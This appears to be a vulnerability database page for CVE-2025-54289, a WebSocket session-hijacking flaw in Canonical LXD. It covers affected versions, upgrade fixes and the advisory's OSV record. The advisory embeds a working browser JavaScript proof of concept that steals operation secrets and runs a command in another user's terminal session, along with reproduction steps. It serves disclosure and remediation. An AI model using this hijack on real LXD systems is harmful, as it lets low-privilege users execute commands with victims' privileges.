CVE-2025-54289: Github.com/canonical/lxd Canonical LXD Vulnerable To Privilege Vulnerability
HIGHCVE-2025-54289 is a HIGH (CVSS 6.8) canonical lxd vulnerable to privilege vulnerability (CWE-1385: Missing Origin Validation in WebSockets) affecting Github.com/canonical/lxd libraries in the Go ecosystem. The issue involves canonical lxd vulnerable to privilege escalation via websocket connection hijacking in operations api. Remediation is available by upgrading affected packages to version 5.21.4, 6.5, 0.0.0-20250827065555-0494f5d47e41.
CVE-2025-54289 at a Glance
Security Impact
CVSS: 6.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2025-54289
To remediate this vulnerability, upgrade all affected Github.com/canonical/lxd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/canonical/lxd to 5.21.4
Upgrade github.com/canonical/lxd to 6.5
Upgrade github.com/canonical/lxd to 0.0.0-20250827065555-0494f5d47e41
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/canonical/lxd
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-54289, inspect your project dependencies for Github.com/canonical/lxd:
inspect dependencies for github.com/canonical/lxd
Analyze the terminal output to locate any version of Github.com/canonical/lxd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.21.4), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1385: Missing Origin Validation in WebSockets, where the product uses a websocket, but it does not properly verify that the source of data or communication is valid. In Github.com/canonical/lxd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54289 Affected Github.com/canonical/lxd Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/canonical/lxd
|
Go |
≥ 4.0
< 5.21.4
|
5.21.4
|
|
github.com/canonical/lxd
|
Go |
≥ 6.0
< 6.5
|
6.5
|
|
github.com/canonical/lxd
|
Go |
≥ 0.0.0-20200331193331-03aab09f5b5c
< 0.0.0-20250827065555-0494f5d47e41
|
0.0.0-20250827065555-0494f5d47e41
|
References
Frequently Asked Questions
What is CVE-2025-54289?
Which Github.com/canonical/lxd versions are affected?
What version fixes CVE-2025-54289?
Is github.com/canonical/lxd affected?
What is the CVSS score of CVE-2025-54289?
What CWE is associated with CVE-2025-54289?
How can I check Go dependencies for CVE-2025-54289?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3g72-chj4-2228",
"modified" : "2025-11-05T22:04:18Z",
"published" : "2025-10-02T21:19:29Z",
"aliases" : [ "CVE-2025-54289" ],
"summary" : "Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API",
"details" : "### Impact\nLXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.\n\nTherefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.\n\n### Reproduction Steps\n\n1. Log in to LXD-UI using an account with read-only permissions\n2. Open browser DevTools and execute the following JavaScript code\n\nNote that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.\n\n```js\n(async () => {\nclass LXDEventsSession {\nconstructor(callback) {\nthis.wsBase =\n`wss://${window.location.host}/1.0/events?type=operation&all-p\nrojects=true`;\nthis.eventsConn = new WebSocket(this.wsBase);\nthis.eventsConn.onopen = (event) => {\nconsole.log('Events conn Opened');\n};\nthis.eventsConn.onmessage = (event) => {\ncallback(event);\n};\n}}\nclass LXDWebSocketSession {\nconstructor(operationId, secrets) {\nthis.operationId = operationId;\nthis.secrets = secrets;\nthis.wsBase =\n`wss://${window.location.host}/1.0/operations/${operationId}/w\nebsocket`;\nthis.connections = {};\nthis.connections.data = new\nWebSocket(`${this.wsBase}?secret=${this.secrets['0']}`);\nthis.connections.data.onopen = (event) => {\nconsole.log('Data Opened');\nthis.connections.data.send(new\nTextEncoder().encode('touch /tmp/xxx\\r'));\n}\nthis.connections.data.onmessage = (event) => {\nconsole.log('[Data]', event.data);\n};\nthis.connections.control = new\nWebSocket(`${this.wsBase}?secret=${this.secrets.control}`);\nthis.connections.control.onopen = (event) => {\nconsole.log('Control Opened');\n}\nthis.connections.control.onmessage = (event) => {\nconsole.log('[Control]', event.data);\n};\n}\nclose() {\nObject.values(this.connections).forEach(ws => {\nif (ws.readyState === WebSocket.OPEN) {\nws.close();\n}\n});\n}\n}\nconst sessions = [];\nnew LXDEventsSession( (event) => {\nconst op = JSON.parse(event.data);\nconst opId = op.metadata.id;const secrets = op.metadata.metadata.fds;\nfor(const session of sessions){\nif(session.operationId === opId){\nreturn;\n}\n}\nsessions.push(new LXDWebSocketSession(opId, secrets))\n});\n})();\n```\n\n5. Have another user (or yourself for testing) start a terminal or console session on an instance\nAt this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification.\n6. Refresh the attacker's browser tab to stop event listening\n7. Have the victim reopen their terminal/console session and verify:\n\n```\n$ ls -la /tmp/xxx\n```\n\n### Risk\nAttack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.\n\n### Countermeasures\nAs a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.\n\nSpecifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.\n\n### Patches\n\n| LXD Series | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5 |\n| 5.21 | Fixed in LXD 5.21.4 |\n| 5.0 | Ignored - Not critical |\n| 4.0 | Ignored - EOL and not critical |\n\n### References\nReported by GMO Flatt Security Inc.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/canonical/lxd"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0"
}, {
"fixed" : "5.21.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/canonical/lxd"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "6.0"
}, {
"fixed" : "6.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/canonical/lxd"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.0.0-20200331193331-03aab09f5b5c"
}, {
"fixed" : "0.0.0-20250827065555-0494f5d47e41"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/canonical/lxd/security/advisories/GHSA-3g72-chj4-2228"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54289"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/canonical/lxd"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2025-3999"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1385" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-10-02T21:19:29Z",
"nvd_published_at" : "2025-10-02T10:15:39Z"
}
}